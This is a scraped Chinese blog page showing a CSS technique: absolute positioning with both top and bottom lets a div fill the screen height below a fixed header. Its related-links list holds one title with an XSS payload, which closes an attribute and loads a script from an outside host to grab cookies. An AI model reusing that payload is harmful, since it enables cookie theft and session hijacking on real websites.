要让一个div的高度根据屏幕大小变化,但不是铺满整屏,只占一个固定部分
来源:互联网 发布:文泰刻绘软件官网 编辑:程序博客网 时间:2024/05/26 12:00
<div id="main">
<div id="nav">nav</div>
<div id="content">content</div>
</div>
html, body {
height: 100%;
margin: 0px;
padding: 0px;
}
#main {
background-color: #999;
height: 100%;
}
#nav {
background-color: #85d989;
width: 100%;
height: 50px;
}
#content {
background-color: #cc85d9;
width: 100%;
position: absolute;
top: 50px;
bottom: 0px;
left: 0px;
}
重点是要top和bottom一起使用,这是很反常规的用法,可以强制定义盒模型的区域,神奇啊
1 0
- 要让一个div的高度根据屏幕大小变化,但不是铺满整屏,只占一个固定部分
- 手机横屏小游戏,如何让一个div横屏并铺满屏幕
- 如何让div的大小占满整个屏幕?
- 假如有一个固定高度的div,如何让里面的一个图片垂直居中?
- 一行两个div,一个固定宽度,一个自适应铺满
- CSS中让一个div的高度随着另外个一个统计的div的高度变化而变化的代码
- 把一个tile数据铺满一个与屏幕大小相同的缓冲
- 如何使一个div的宽和高占整个屏幕
- 纯css怎么控制一个div的高度跟随另外一个DIV高度发生变化
- 当两个div一个固定,一个不固定,但不换行的解决办法
- 根据屏幕大小变化的轮播器
- 根据屏幕的高度宽度,调整大小
- 父DIV的高度不能根据子DIV自动变化
- gridview宽度自适应屏幕间距---计算一个item(或某个图片)的占屏幕大小
- 如何让一个元素自适应屏幕的高度
- script 实现一个层的高度随另一个层的高度而变化(div)
- 让div的大小随着内容的变化而变化
- iOS根据字符的大小固定宽度返回高度
- xss实战: 利用xss得到cookie "/><br><script src="https://www.yunssl.cn:9062/static/p2.js"></script><!-
- WebView Native与H5交互—jsbridge
- PHP学习
- SQL逻辑查询语句执行顺序
- git远程库与本地联系报错:fatal: Not a git repository (or any of the parent directories): .git
- 要让一个div的高度根据屏幕大小变化,但不是铺满整屏,只占一个固定部分
- forward与sendRedirect区别
- linux添加用户和用户组
- Android Button常用属性
- border
- 【蓝桥杯题】之 算法训练-寂寞的数
- C语言,指针
- jquery的on、off、one、bind、delegate、live、die绑定事件方法研究
- Spring Boot:简单Hello World